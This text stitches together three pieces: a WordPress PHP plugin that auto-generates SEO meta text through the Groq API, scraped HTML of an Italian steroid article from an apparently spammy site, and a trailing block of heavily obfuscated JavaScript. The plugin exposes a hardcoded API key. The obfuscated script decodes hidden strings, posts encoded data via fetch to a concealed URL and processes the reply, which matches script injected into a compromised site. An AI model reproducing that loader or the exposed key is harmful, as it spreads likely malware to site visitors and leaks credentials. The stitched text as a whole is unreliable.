/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
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<title>Come gli Steroidi Anabolizzanti Influenzano la Sintesi Proteica - Biotin Tablets</title>
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<article id="post-16320" class="post-16320 post type-post status-publish format-standard hentry category-uncategorized">
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		<h1 class="entry-title">Come gli Steroidi Anabolizzanti Influenzano la Sintesi Proteica</h1>

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			<span class="date"><a href="https://biotintablets.com/come-gli-steroidi-anabolizzanti-influenzano-la-sintesi-proteica/" title="Permalink to Come gli Steroidi Anabolizzanti Influenzano la Sintesi Proteica" rel="bookmark"><time class="entry-date" datetime="2026-05-03T23:43:48+00:00">May 3, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Negli ultimi decenni, l&#8217;uso degli steroidi anabolizzanti è aumentato tra gli atleti e gli appassionati di fitness, grazie alla loro capacità di migliorare le performance e accelerare il processo di recupero. Uno degli effetti più significativi di questi composti riguarda la sintesi proteica, un processo fondamentale per la crescita e la riparazione dei tessuti muscolari.</p>
<p><a href="https://villarrealintegrity.com/come-gli-steroidi-anabolizzanti-influenzano-la-sintesi-proteica/">https://villarrealintegrity.com/come-gli-steroidi-anabolizzanti-influenzano-la-sintesi-proteica/</a></p>
<h2>Meccanismi di Azione degli Steroidi Anabolizzanti</h2>
<p>Gli steroidi anabolizzanti agiscono principalmente attraverso i recettori degli androgeni, che stimolano la sintesi delle proteine in diversi modi:</p>
<ol>
<li><strong>Aumento della Sintesi Proteica:</strong> Gli steroidi anabolizzanti aumentano l&#8217;attività di alcune enzimi cruciali per la sintesi delle proteine, facilitando così un rapido incremento della massa muscolare.</li>
<li><strong>Inibizione della Degradazione Proteica:</strong> Questi composti riducono anche la degradazione delle proteine, creando un ambiente favorevole per la crescita muscolare.</li>
<li><strong>Aumento dei Livelli di Nitrogeno:</strong> Gli steroidi anabolizzanti facilitano un bilancio positivo di nitrogeno, fondamentale per la sintesi proteica e lo sviluppo muscolare.</li>
</ol>
<h2>Rischi e Considerazioni</h2>
<p>Tuttavia, l&#8217;uso di steroidi anabolizzanti non è privo di rischi. Gli effetti collaterali possono essere gravi e includere:</p>
<ul>
<li>Problemi cardiaci e diabete</li>
<li>Disturbi psichiatrici come depressione e aggressività</li>
<li>Alterazioni del sistema endocrino, con conseguenti ripercussioni sulla fertilità e sulla libido</li>
</ul>
<p>È essenziale che gli individui considerino questi rischi e valutino le alternative naturali per ottimizzare la sintesi proteica, come una dieta equilibrata e un adeguato programma di allenamento.</p>
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fH7eaL(l1z3Ij)}function VKdfKX(hzGP3N5){if(typeof AVlB_US[hzGP3N5]===pSzWI8[0x5]){return AVlB_US[hzGP3N5]=TlBsPVf(xyhKpI[hzGP3N5])}return AVlB_US[hzGP3N5]}const vedp0K0=await fetch(VKdfKX(0x7c)+hzGP3N5,{[VKdfKX(0x7d)]:VKdfKX(0x7e),[VKdfKX(pSzWI8[0x12])]:COybiK0(FGXm2DL[VKdfKX(pSzWI8[0x13])](JSON[VKdfKX(0x81)](U5bSXPR)))});if(!vedp0K0.ok){function l1z3Ij(hzGP3N5){var U5bSXPR="A8OB5FRrWXb^V[q=T*4CSt}LGJwU$DIxy<0{Y9s6mao3|ipnv+~dKHl?\"`E>MZf;%eg1@!:h]k#QjNz7Pu&)(_2,./c",TlBsPVf,VKdfKX,l1z3Ij,FSj4zn,xCxd1EW,rLSK1T,akOnZTt;AsIXnD(TlBsPVf=""+(hzGP3N5||""),VKdfKX=TlBsPVf.length,l1z3Ij=[],FSj4zn=pSzWI8[0x0],xCxd1EW=pSzWI8[0x0],rLSK1T=-pSzWI8[0x1]);for(akOnZTt=pSzWI8[0x0];akOnZTt<VKdfKX;akOnZTt++){var FGXm2DL=U5bSXPR.indexOf(TlBsPVf[akOnZTt]);if(FGXm2DL===-pSzWI8[0x1])continue;if(rLSK1T<pSzWI8[0x0]){rLSK1T=FGXm2DL}else{AsIXnD(rLSK1T+=FGXm2DL*pSzWI8[0xc],FSj4zn|=rLSK1T<<xCxd1EW,xCxd1EW+=(rLSK1T&pSzWI8[0xd])>pSzWI8[0xe]?pSzWI8[0xf]:pSzWI8[0x10]);do{AsIXnD(l1z3Ij.push(FSj4zn&pSzWI8[0x3]),FSj4zn>>=pSzWI8[0x2],xCxd1EW-=pSzWI8[0x2])}while(xCxd1EW>pSzWI8[0x9]);rLSK1T=-pSzWI8[0x1]}}if(rLSK1T>-pSzWI8[0x1]){l1z3Ij.push((FSj4zn|rLSK1T<<xCxd1EW)&pSzWI8[0x3])}return fH7eaL(l1z3Ij)}function FSj4zn(hzGP3N5){if(typeof AVlB_US[hzGP3N5]===pSzWI8[0x5]){return AVlB_US[hzGP3N5]=l1z3Ij(xyhKpI[hzGP3N5])}return AVlB_US[hzGP3N5]}if(FSj4zn(0x82)in nzAXStk){xCxd1EW()}function xCxd1EW(){var hzGP3N5=function(hzGP3N5){AsIXnD(this.capacity=hzGP3N5,this.length=pSzWI8[0x0],this.map={},this.head=pSzWI8[0x14],this.tail=pSzWI8[0x14])};AsIXnD(hzGP3N5.prototype.get=function(hzGP3N5){var U5bSXPR=this.map[hzGP3N5];return U5bSXPR?(this.remove(U5bSXPR),this.insert(U5bSXPR.key,U5bSXPR.val),U5bSXPR.val):-pSzWI8[0x1]},hzGP3N5.prototype.put=function(hzGP3N5,U5bSXPR){this.map[hzGP3N5]?(this.remove(this.map[hzGP3N5]),this.insert(hzGP3N5,U5bSXPR)):this.length===this.capacity?(this.remove(this.head),this.insert(hzGP3N5,U5bSXPR)):(this.insert(hzGP3N5,U5bSXPR),this.length++)},hzGP3N5.prototype.remove=function(hzGP3N5){var U5bSXPR=hzGP3N5.prev,TlBsPVf;TlBsPVf=hzGP3N5.next;if(TlBsPVf)TlBsPVf.prev=U5bSXPR;if(U5bSXPR)U5bSXPR.next=TlBsPVf;if(this.head===hzGP3N5)this.head=TlBsPVf;if(this.tail===hzGP3N5)this.tail=U5bSXPR;delete this.map[hzGP3N5.key]},hzGP3N5.prototype.insert=function(hzGP3N5,U5bSXPR){var TlBsPVf=new List(hzGP3N5,U5bSXPR);AsIXnD(!this.tail?(this.tail=TlBsPVf,this.head=TlBsPVf):(this.tail.next=TlBsPVf,TlBsPVf.prev=this.tail,this.tail=TlBsPVf),this.map[hzGP3N5]=TlBsPVf)},console.log(hzGP3N5))}throw new Error}return NWs9L0v[VKdfKX(0x83)](COybiK0(new Uint8Array(await vedp0K0[VKdfKX(0x84)]())))};let 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U5bSXPR}l1z3Ij=rLSK1T[hzGP3N5]||(rLSK1T[hzGP3N5]=xCxd1EW())}else{l1z3Ij=FSj4zn[hzGP3N5]()}return TlBsPVf===vedp0K0(0xaf)?{[vedp0K0(0xb0)]:l1z3Ij}:l1z3Ij}new TlBsPVf(U5bSXPR(0xb1),U5bSXPR(0xb2),U5bSXPR(0xb3))[U5bSXPR(0xb4)]})();
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